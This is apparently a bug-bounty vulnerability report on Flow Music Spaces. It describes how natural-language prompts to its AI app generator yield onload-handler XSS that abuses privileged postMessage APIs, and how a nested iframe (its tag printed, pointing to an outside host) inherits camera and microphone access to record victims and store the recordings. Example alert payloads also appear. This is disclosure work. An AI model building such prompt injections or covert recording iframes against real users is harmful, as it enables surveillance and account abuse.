Flow Music Spaces allows attacker-controlled nested iframes to record and store Camera/Microphone data and XSS to access privileged postMessage APIs

Affected Product: Flow Music / Spaces

Affected origins:

• https://www.flowmusic.app/
• https://jitterbug.riffusion.com/

Attacker-controlled origin used during the PoC:

• https://web-ping-production.up.railway.app/

Vulnerability Description

I discovered multiple related trust-boundary issues in Flow Music Spaces that allow attacker-controlled AI-generated content to obtain capabilities that should not be available to an untrusted Space.

The issue exposes two independent exploitation paths:

Attack Path #1: Flow Music delegates camera/microphone capabilities to the trusted Jitterbug Space iframe → attacker-generated content embeds a nested attacker-controlled iframe → the nested iframe receives delegated camera/microphone access → a script hosted inside that iframe records the victim → the same attacker-controlled origin stores the resulting recording on its own server.

Attack Path #2: AI-generated XSS → JavaScript execution within the trusted jitterbug.riffusion.com Space context → access to privileged Flow Music postMessage APIs → authenticated operations performed using the victim’s account.

The camera/microphone attack does not depend on the XSS.

The attacker-controlled origin:https://web-ping-production.up.railway.app/ hosts the page and internal script that requests and records the victim’s camera/microphone.

Separately, the XSS allows attacker-controlled JavaScript executing inside the trusted Jitterbug context to communicate with Flow Music’s privileged cross-origin messaging interface.

The vulnerability is therefore broader than arbitrary JavaScript execution alone: attacker-controlled Space content is able to operate inside security-sensitive contexts trusted by Flow Music.

AI-generated content as the injection vector

Spaces appears to intentionally restrict dangerous JavaScript constructs.

For example, straightforward attempts to insert:

<script>
  alert(1)
</script>

or:

javascript:alert(1)

or:

<iframe src="javascript:payload"></iframe>

are rejected, sanitized, or otherwise prevented from executing.

However, I discovered that these restrictions can be bypassed through the AI-generation process itself.

A specially crafted natural-language prompt can instruct the model to generate an application containing attacker-controlled HTML attributes and inline event handlers.

For example, I was able to make the generated application place JavaScript inside an:

onload

event handler.

The resulting restriction bypass is:

Therefore, the AI prompt itself becomes an injection mechanism.

The attacker does not need direct access to the application’s source code or DOM. Instead, the attacker can instruct the AI to generate the malicious event handler on their behalf.

Attack Path #1 — Transitive Camera/Microphone delegation through Jitterbug

Attack Overview

This attack abuses the camera/microphone capabilities delegated by Flow Music to the trusted Jitterbug Space iframe.

The vulnerability allows an attacker-generated Space running inside jitterbug.riffusion.com to embed a second-level attacker-controlled iframe and delegate the already-available camera and microphone capabilities to that origin.

The attacker-controlled iframe can then obtain the victim’s media stream, record audio/video, and store the resulting recording on the same attacker-controlled server.

The resulting trust chain is:

Attack Preconditions — Camera/Microphone Path

The following conditions are required specifically for Attack Path #1:

1. The relevant browser-level camera/microphone permission must already exist.

   Under the demonstrated scenario, the victim had previously granted the browser-level media permission required for legitimate Flow Music functionality.

   The attack does not require the attacker-controlled nested iframe to obtain a completely new browser permission grant from the victim during exploitation.

2. The victim does not need to approve Flow Music’s Spaces-level camera/microphone dialog.

   The demonstrated nested-iframe path does not depend on the application-level:

   text

   PERMISSION_REQUEST
   PERMISSION_GRANTED

   workflow.

3. The victim only needs to open the malicious Space.

   Under the demonstrated behavior, the victim does not need to click the Flow Music “Continue” button before the attacker-controlled content begins executing.

Camera/Microphone Permission Delegation

Flow Music creates the trusted Jitterbug iframe with broad capabilities including:

camera *
microphone *

The first trust transition is therefore:

The attacker-generated application running inside Jitterbug then creates another iframe:

<iframe
  src="https://web-ping-production.up.railway.app/"
  allow="camera *; microphone *"
></iframe>

This creates the second trust transition:

The complete delegation chain is therefore:

Camera/Microphone consent boundary bypass

Two user-facing security mechanisms are bypassed during this attack.

1. Space Security Warning

Flow Music displays a security warning when a victim opens a Space created by another person.

The victim is instructed to click “Continue” before proceeding.

However, the underlying Space content and nested iframe can already execute while this warning remains visible.

Therefore:

2. Spaces Camera/Microphone Permission UI

Flow Music separately displays an application-level dialog when a Space requests:

• Your camera
• Your microphone

with:

• Don’t allow
• Allow

However, the nested-iframe exploitation path does not rely on this Flow Music permission workflow.

Instead, the nested attacker-controlled iframe consumes the capability that has already been delegated through the iframe hierarchy.

Therefore, under the tested permission state:

without requiring the victim to click Flow Music’s application-level Allow button.

Demonstrated Camera/Microphone exploitation

The demonstrated exploitation flow is:

The demonstrated PoC confirmed:

• acquisition of the victim’s media stream;
• recording of victim camera and microphone data;
• capture of sensitive audio/video information;
• submission of the recording to the attacker-controlled origin;
• and persistent storage of the resulting recording.

Impact — Camera/Microphone Path

This attack produces a direct confidentiality impact.

Potentially captured information includes:

• victim face and identity;
• physical surroundings;
• microphone audio;
• private conversations;
• personal activities;
• professional or confidential information visible near the victim;
• other individuals located near the device.

Because the captured video is stored on the attacker-controlled server, the exposure is persistent rather than limited to temporary access to a MediaStream.

The core security impact is:

A camera/microphone capability trusted to Flow Music and delegated to Jitterbug can ultimately be consumed by an arbitrary attacker-controlled cross-origin iframe without a separate trust decision for that origin.

Root Cause — Camera/Microphone path

The root cause of Attack Path #1 is excessive transitive capability delegation.

Flow Music grants sensitive browser capabilities to a trusted Jitterbug execution environment even though that environment hosts attacker-controlled generated applications capable of creating additional cross-origin frames.

The resulting trust relationship is:

The security boundary fails because the trust assigned to Jitterbug is effectively inherited by arbitrary origins embedded by attacker-controlled Space content.

Attack Path #2 — AI-Generated XSS and Privileged postMessage Abuse

Attack Overview

Attack Path #2 is separate from the camera/microphone issue.

This vulnerability allows attacker-controlled AI-generated content to bypass Flow Music Spaces’ JavaScript restrictions and execute arbitrary JavaScript inside the trusted: https://jitterbug.riffusion.com/ space context.

Because Flow Music exposes privileged functionality to this iframe through window.postMessage, attacker-controlled JavaScript executing inside Jitterbug can send messages that satisfy Flow Music’s trusted-origin and trusted-window checks.

The resulting chain is:

Attack Preconditions — XSS/postMessage Path

The following conditions are required specifically for Attack Path #2:

1. The victim only needs to open the Space.

   Under the demonstrated behavior, the victim does not need to click the Flow Music “Continue” button before the attacker-controlled JavaScript executes.

2. The victim must have an authenticated Flow Music session.

   Privileged operations are consequently executed within the victim’s Flow Music context.

JavaScript restriction Bypass

Flow Music Spaces appears to intentionally restrict direct executable JavaScript.

For example:

<script>
  alert(1)
</script>

is blocked.

Likewise:

javascript:alert(1)

is blocked.

However, the AI-generation process can be instructed to generate executable event-handler attributes.

For example:

onload

The effective bypass is:

Privileged postMessage Trust Boundary

Flow Music trusts messages originating from the Jitterbug Space iframe.

The application performs checks equivalent to:

event.origin === "https://jitterbug.riffusion.com"

and:

event.source === iframe.contentWindow

These checks correctly reject messages sent directly by unrelated origins.

However, after arbitrary JavaScript execution is obtained inside Jitterbug, the attacker-controlled code itself runs from the exact trusted origin and frame.

Therefore:

The issue therefore does not require bypassing the Same-Origin Policy.

Instead, the attacker abuses the application-level cross-origin RPC mechanism intentionally exposed through postMessage.

Security Warning Bypass — XSS path

The XSS also executes before the victim accepts Flow Music’s third-party Space warning.

Observed behavior:

This means the warning is not acting as an execution boundary.

Demonstrated XSS/postMessage Exploitation

The demonstrated attack flow is:

Generation methods reachable through FLOWMUSIC_GENERATE_REQUEST

The client exposes multiple operations, including:

• generateSong — Generates AI music or song content.
• generateImage — Generates image content.
• splitStems — Processes a song into individual audio components or stems.
• generateVideo — Creates an AI-generated video. Confirmed exploited in the PoC.
• writeLyrics — Generates lyrics.
• extendSong — Extends an existing song.
• inpaintSong — Regenerates or modifies portions of a song.
• coverSong — Creates a cover or variant of existing song content.
• getSong — Retrieves song information through the Flow Music context.

Additional exposed interfaces

The trusted Space environment also exposes or reaches messages including:

FLOWMUSIC_REALTIME_COMMAND
FLOWMUSIC_REALTIME_SET_CONFIG
FLOWMUSIC_LYRIA_*
PERMISSION_REQUEST
PERMISSION_GRANTED
PERMISSION_DENIED

Only generateVideo was used for the demonstrated PoC; however, the same privileged API access exposes the previously described operations, which could also be invoked through the vulnerable path, including retrieving songs via getSong, potentially including private user content.

Impact — XSS/postMessage Path

Attack Path #2 results in:

• arbitrary JavaScript execution inside the trusted Jitterbug Space context;
• bypass of Flow Music Spaces JavaScript restrictions;
• execution before the victim accepts the third-party Space warning;
• access to privileged Flow Music postMessage interfaces;
• authenticated operations executed through the victim’s account;
• confirmed unauthorized video generation;
• potential access to additional exposed generation/manipulation functionality;
• and unauthorized consumption of victim account resources.

The central impact is:

Attacker-controlled JavaScript executes from the exact origin and iframe that Flow Music treats as trusted for privileged cross-origin operations.

Root Cause — XSS/postMessage Path

The root cause of Attack Path #2 is that Flow Music assigns privileged messaging trust to the entire Jitterbug iframe context while attacker-controlled generated code can execute inside that same context.

Flow Music effectively assumes:

Trusted Jitterbug origin
        =
Trusted code

but the actual architecture is:

Consequently, event.origin and event.source identify the frame correctly but do not establish that the code sending the message is trustworthy.

Combined Security Impact

The two attack paths should be considered independent vulnerabilities arising from the same underlying trust-boundary problem.

They should not be interpreted as requiring one another.

Attack Path #1

Primary impact: confidentiality compromise of victim camera/microphone data.

Attack Path #2

Primary impact: Unauthorized execution of privileged application functionality through the victim’s authenticated session, resulting, in the demonstrated example, in direct financial impact to the victim.

The common architectural problem is:

Flow Music assigns sensitive trust and capabilities to the Jitterbug Space environment even though attacker-controlled generated content can execute within that environment.

This produces two distinct consequences:

Attack Path #1: browser capability compromise, unauthorized capture of PII through camera and microphone access, including the victim's face, voice, surroundings, and activities.

and:

Attack Path #2: application privilege abuse through trusted cross-origin messaging.

AI VRP Impact Assessment

The vulnerability exposes two independent security impacts aligned with the Google AI VRP severity model. The most significant and directly demonstrated impact is S2 — Sensitive Data Exfiltration, while the second attack path demonstrates unauthorized privileged actions performed through the victim’s authenticated Flow Music session.

S2 — Sensitive Data Exfiltration (Primary Impact)

Attack Path #1 directly results in the unauthorized capture and exfiltration of sensitive victim data.

The demonstrated PoC confirms that an attacker-controlled nested iframe can:

• obtain the victim’s camera and microphone MediaStream;
• record video and audio from the victim’s device;
• capture sensitive information including the victim’s face, voice, physical surroundings, conversations, and activities;
• submit the resulting recording to the attacker-controlled origin; and
• persistently store the captured recording on the attacker-controlled server.

This occurs without an effective opportunity for user approval during exploitation.

Flow Music normally presents two separate user-facing security/consent mechanisms:

1. A security warning requiring the victim to click “Continue” before entering a Space created by another person.
2. A Spaces-level camera/microphone permission dialog requiring the victim to explicitly click “Allow.”

However, neither mechanism effectively prevents the demonstrated attack.

The malicious Space and nested attacker-controlled iframe can execute before the victim clicks “Continue,” while the security warning remains visible.

Furthermore, the nested-iframe path does not depend on Flow Music's PERMISSION_REQUEST / PERMISSION_GRANTED workflow. Under the tested permission state, the attacker-controlled iframe consumes the camera/microphone capability already delegated through the iframe hierarchy without requiring the victim to click the Spaces-level “Allow” button.

The relevant browser-level media permission must have been previously granted for legitimate Flow Music functionality; however, the victim has not separately authorized the attacker-controlled origin that ultimately receives and stores the sensitive recording.

The resulting trust transition is therefore:

Additional Potential exposure of private music content

The S2 confidentiality impact may extend beyond camera and microphone recordings.

Through the separate XSS/privileged-postMessage path, attacker-controlled JavaScript executes inside the exact Jitterbug origin and iframe trusted by Flow Music for privileged operations. The exposed FLOWMUSIC_GENERATE_REQUEST interface includes getSong, which retrieves song information through the victim’s Flow Music context. The identified interface therefore provides a potential path to retrieve victim song information, potentially including private user content, although exploitation of getSong for data exfiltration has not been independently demonstrated in the current PoC.

This potential exposure is particularly relevant given the nature of Flow Music as a music creation platform. Private songs, unreleased compositions, works in progress, lyrics, generated audio, and related creative assets may constitute confidential and commercially sensitive intellectual property for musicians, producers, composers, and other creators.

For a professional music producer or creator, unauthorized disclosure of such content could therefore expose unreleased or proprietary creative work before publication or commercial release, substantially increasing the confidentiality implications of unauthorized access to private song data.

Accordingly, the S2 impact encompasses:

• Confirmed sensitive-data exfiltration: victim camera/microphone recordings containing PII and potentially confidential information are transferred to and persistently stored on an attacker-controlled origin.
• Potential additional sensitive-data exposure: the reachable getSong functionality could expose private music-related information or content, which may represent confidential or commercially sensitive creative material.

Therefore, Attack Path #1 should be evaluated primarily as S2 — Sensitive Data Exfiltration, because sensitive victim camera/microphone information is captured and transferred to an attacker-controlled security context without an effective approval opportunity for that attacker-controlled origin. The exposed privileged interfaces additionally create a potential avenue for disclosure of private and commercially sensitive music content.

S1 — Unauthorized Privileged Actions / Rogue-Action Impact

Attack Path #2 independently compromises Flow Music's privileged application functionality.

The AI-generation mechanism can be abused to obtain arbitrary JavaScript execution inside the trusted jitterbug.riffusion.com Space context. Because this is the same origin and frame that Flow Music trusts for its privileged postMessage interface, attacker-controlled JavaScript satisfies both the expected event.origin and event.source checks.

The resulting attack chain is:

The PoC confirmed unauthorized invocation of generateVideo four times through the victim's authenticated Flow Music context, resulting in unauthorized consumption of the victim's account credits.

The same privileged interface exposes additional methods such as generateSong, generateImage, splitStems, writeLyrics, extendSong, inpaintSong, coverSong, and getSong; however, only generateVideo should be considered confirmed exploited by the current PoC.

Accordingly, Attack Path #2 demonstrates that attacker-controlled code can cause authenticated privileged Flow Music operations to execute on behalf of the victim without the victim initiating or approving those operations.

While this behavior represents a potential S1 — Rogue Actions impact, the strongest currently demonstrated S1 evidence is the unauthorized execution of generateVideo and resulting account-resource consumption. The additional exposed operations should not be presented as independently exploited unless their security effects are separately demonstrated.

Overall Impact

The two attack paths are independent and do not require one another.

The primary and strongest demonstrated AI VRP impact is:

S2 — Sensitive Data Exfiltration: attacker-controlled Space content can capture the victim’s camera and microphone, including their face, voice, surroundings, conversations, and activities, and persistently store the resulting recording on an attacker-controlled origin without an effective opportunity for user approval. Additionally, the exposed privileged Flow Music interface provides a potential path to private song content, which may represent confidential and commercially sensitive intellectual property for music producers and other creators.

The second independent impact is:

S1 — Rogue Actions / privileged application abuse: attacker-controlled JavaScript can execute from the exact Jitterbug origin and iframe trusted by Flow Music, reach privileged postMessage APIs, and cause authenticated Flow Music operations to execute on behalf of the victim without the victim initiating or approving those operations. The demonstrated PoC confirms unauthorized generateVideo operations and resulting account-resource consumption.

Therefore, S2 should be considered the primary demonstrated severity impact, based on the confirmed unauthorized capture, transfer, and persistent storage of sensitive camera/microphone information. The potential exposure of private and commercially sensitive music content further increases the confidentiality implications, while the XSS/privileged-postMessage path provides a separate S1-relevant impact through unauthorized authenticated actions.